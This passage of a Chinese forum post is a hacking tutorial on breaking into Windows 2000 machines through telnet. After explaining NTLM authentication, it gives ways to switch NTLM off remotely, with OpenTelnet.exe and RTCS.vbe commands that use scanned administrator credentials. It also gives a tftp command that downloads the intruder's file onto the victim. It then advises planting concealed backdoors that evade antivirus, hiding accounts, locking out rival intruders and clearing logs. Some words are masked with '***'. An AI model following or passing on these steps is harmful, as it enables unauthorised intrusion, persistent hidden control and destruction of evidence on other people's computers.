AllowTrustedDomain:是否允许域用户访问。默认值是1,允许信任域用户访问。可以改为0: 不允许域用户访问(只允许本地用户)。

DefaultDomain:可以对与该计算机具有信任关系的任何域设置。默认值是"."。

DefaultShell:显示 shell 安装的路径位置。默认值是: %systemroot%\System32\Cmd.exe /q /k

MaxFailedLogins:在连接终止之前显示尝试登录失败的更大次数。默认是3。

LoginScript:显示 Telnet 服务器登录脚本的路径位置。默认的位置就是“%systemroot%\System32\login.cmd”,你可以更改脚本内容,这样登录进Telnet的欢迎屏幕就不一样了。

NTLM:NTLM身份验证选项。默认是2。可以有下面这些值:

0: 不使用 NTLM 身份验证。

1: 先尝试 NTLM 身份验证,如果失败,再使用用户名和密码。

2: 只使用 NTLM 身份验证。

TelnetPort:显示 telnet 服务器侦听 telnet 请求的端口。默认是:23。你也可以更改为其他端口。

以上各项设置你可以使用tlntadmn.exe(Telnet服务器管理程序)来进行非常方便的配置,配置后需要重新启动Telnet服务。如图1

2 NTLM

提到了telnet就不能不提NTLM,我想这也是让入侵者最为头痛的一件事,哪怕你获得了管理员帐号和密码,想简单通过NTLM也并非易事,况且win2000中的telnet默认仅以NTLM方式验证身份,这就让我们不得不关注NTLM这个东东,那么什么是NTLM呢?

早期的 *** B协议在 *** 上明文传输口令,后来出现了"LAN Manager Challenge/Response"验证机制,简称LM,它十分简单以至很容易被破解,微软随后提出了WindowsNT挑战/响应验证机制,即NTLM。现在已经有了更新的NTLMv2以及Kerberos验证体系。NTLM工作流程是这样的:

1、客户端首先在本地加密当前用户的密码成为密码散列

2、客户端向服务器发送自己的帐号,这个帐号是没有经过加密的,明文直接传输

3、服务器产生一个16位的随机数字发送给客户端,作为一个 challenge(挑战)

4、客户端再用加密后的密码散列来加密这个 challenge ,然后把这个返回给服务器。作为 response(响应)

5、服务器把用户名、给客户端的challenge 、客户端返回的 response 这三个东西,发送域控制器

6、域控制器用这个用户名在 SAM密码管理库中找到这个用户的密码散列,然后使用这个密码散列来加密 challenge。

7、域控制器比较两次加密的 challenge ,如果一样,那么认证成功。

从上面的过程我们可以看出,NTLM是以当前用户的身份向Telnet服务器发送登录请求的,而不是用你扫到的对方管理员的帐户和密码登录,显然,你的登录将会失败。举个例子来说,你家的机器名为A(本地机器),你入侵的机器名为B(远地机器),你在A上的帐户是xinxin,密码是1234,你扫到B的管理员帐号是Administrator,密码是5678,当你想Telnet到B时,NTLM将自动以当前用户的帐号和密码作为登录的凭据来进行上面的7项操作,即用xinxin和1234,而并非用你扫到的Administrator和5678,且这些都是自动完成的,根本不给你插手的机会,因此你的登录操作将失败。

由于Telnet服务器对NTLM的使用有3个选项,所以当你Telnet远地机器时,会显示下面情况中的一种:

1)身份验证选项=0时

=====================================

Microsoft (R) Windows (TM) Version 5.00 (Build 2195)

Welcome to Microsoft Telnet Service

Telnet Server Build 5.00.99201.1

login:

password:

\\为0时不使用NTML身份验证,直接输入用户名和密码,比如你可以输入扫到的Administrator和5678

2)身份验证选项=1时

=====================================

NTLM Authentication failed due to insufficient credentials. Please login withclear text username and password

Microsoft (R) Windows (TM) Version 5.00 (Build 2195)

Welcome to Microsoft Telnet Service

Telnet Server Build 5.00.99201.1

login:

password:

\\先尝试 NTLM 身份验证,如果失败,再使用用户名和密码,其实这种方式对于我们来说,与上一种方式没什么区别

3)身份验证选项=2时

=====================================

NTLM Authentication failed due to insufficient credentials. Please login withclear text username and password

Server allows NTLM authentication only

Server has closed connection

遗失对主机的连接。

C:\

\\仔细看看上面的显示,根本没有给你输入用户名和密码的机会,直接断开连接,扫到了密码也是白扫

所以对于入侵者来说,NTLM是横在我们面前的一座大山,必须要除掉它,一般我们有如下几种 *** :

1通过修改远程注册表更改telnet服务器配置,将验证方式从2改为1或0;

2使用NTLM.exe,上传后直接运行,可将telnet服务器验证方式从2改为1;

3在本地建立扫描到的用户,以此用户身份开启telnet客户机并进行远程登录;

4使用软件,比如opentelnet.exe(需要管理员权限且开启IPC管道)

5使用脚本,如RTCS,(需要管理员权限但不依赖IPC管道)

基本上是以上的5种,其中后两种是我们比较常用的开telnet的手法,而且使用 *** 十分简单,命令如下:

OpenTelnet.exe \\server username password NTLMAuthor telnetport

OpenTelnet.exe \\服务器地址 管理员用户名 密码 验证方式(填0或1) telnet端口

cscript RTCS.vbe targetIP username password NTLMAuthor telnetport

cscript RTCS.vbe 目标IP 管理员用户名 密码 验证方式 tlnet端口

五 在telnet中该做什么

本来写到上面就想结束了,不过许多朋友都说telnet上去后不知道该做什么了,既然这样,那我就抛砖引玉吧,这次不讲具体做法,只是说说思路,什么?为什么不讲具体做法?篇幅不够嘛,以后我会一一解释的。

1 查看系统信息

呵呵,其实就是随处看看,看看他的系统配置和版本(用type c:\boot.ini来知道pro版或server版),看看都装了什么服务或软件(从目录名就可以知道了),看看有什么重要或有趣的文件啦(唉,要是国外的机器,看也看不懂),看看他的用户情况,总之就是尽可能多的了解系统,为一会装后门摸底。

2 使用tftp传送文件

想必大家都遇到过在telnet中传输文件的问题,因为我们习惯了在ipc管道中的文件传输,所以有些朋友喜欢用net share ipc$ 来打开管道,进而利用copy来传输文件。不过这样反而麻烦,既然我们已经得到了shell,我们可以用TFPT命令来完成这一切,什么是TFTP呢?

用TFTP(Trivial File Transfer Protocol)来实现文件的传送是一种基于UDP连接的文件传输,一般是使用Windows自带的t和一个TFTP服务器端软件构成一个完整的传输结构。它是这样使用的: 首先运行本地的TFTP Server(比如tftpd32.exe)软件并保证始终开启直至传输全部完成, 然后在telnet中(当然你也可以在其他shell中)运行下面的命令:

C:\tftp –i ip get xinxin.exe c:\abc\xinxin.exe

其中ip为你自己机器的ip,且上传文件要与TFTP服务器端在同一目录下,这样你就可以把xinxin.exe上传到c盘abc目录下了(其实是从tftp服务器下载来的)

需要指出的是,如果使用 *** IP,你将不能实现与外部 *** 的文件传送。因为你的 *** 网关在进行数据封装的时候会将自己的IP地址加入到你的数据报中,代替你的内部 *** 地址,所以在外部 *** 进行MAC寻址时是找不到你这台TFTP服务器的。

3 安置后门

安置后门放在第二步好像早了点,如果你入侵还有其他目的,比如以破坏为主,或者是来修改主页的,那么这些事情当然可以在安置后门之前做;如果你只是想得到一只肉鸡,那就没什么可说的了,安后门吧。

后门的种类繁多,也给我们提供了很大的选择余地,能够根据具体情况选择合适的后门的确是一门学问。常用的后门一般有:木马,asp木马,远程控制软件,克隆帐户,建立并隐藏帐户,telnet,telnet扩展的shell,终端服务等。安置一个好的后门通常要注意以下几点:

1 不会被防火墙查杀及阻碍通信:被加入病毒库的后门更好加壳以逃过防火墙,尽量用低端口通信,以免被防火墙屏蔽。

2 更大限度增加隐蔽性:如果你选择远程控制软件,要注意被控端的安装提示和小图标,以及是否同步画面;如果你在帐户上做文章,要尽量保持在cmd和用户管理中都不出破绽;如果你选择放木马或telnet扩展,要注意文件和进程的隐藏;如果新开了终端服务(入侵前并没有开),一定要该掉3389这个显眼的端口,且越低越好。

3 不要当管理员不存在:这是一个大忌,许多朋友在只有默认帐户的机器上建立类似'hacking'的管理员帐户,真是无知者无畏呀。所以安置后门的时候,想想管理员疏忽的地方会在哪里。

4 打补丁

如果想独霸肉鸡,就要会打补丁,要知道对肉鸡的竞争是很激烈的。怎么打补丁呢?这个也要问?想想你是怎么进来的吧。算了,提示一下,除了修补大的漏洞以外(上传官方补丁并运行),也要注意它的共享,ipc$共享(更好都关闭),可疑端口,容易被利用的服务等。不过打补丁也要注意隐蔽性的,不要让管理员发现大的改动。

5 清除日志

可以手动或利用软件,如果不太会就去找相关教材吧,在这里我不详细介绍了。

六 结束语

文章的前部分主要说了一些原理性的东西,后部分则侧重于应用,写的多了难免会有些遗漏,如果你觉得哪里还需要补充,或者哪里不明白,请回帖告诉我哟!!

参考资料:

我转的帖子

0条大神的评论

发表评论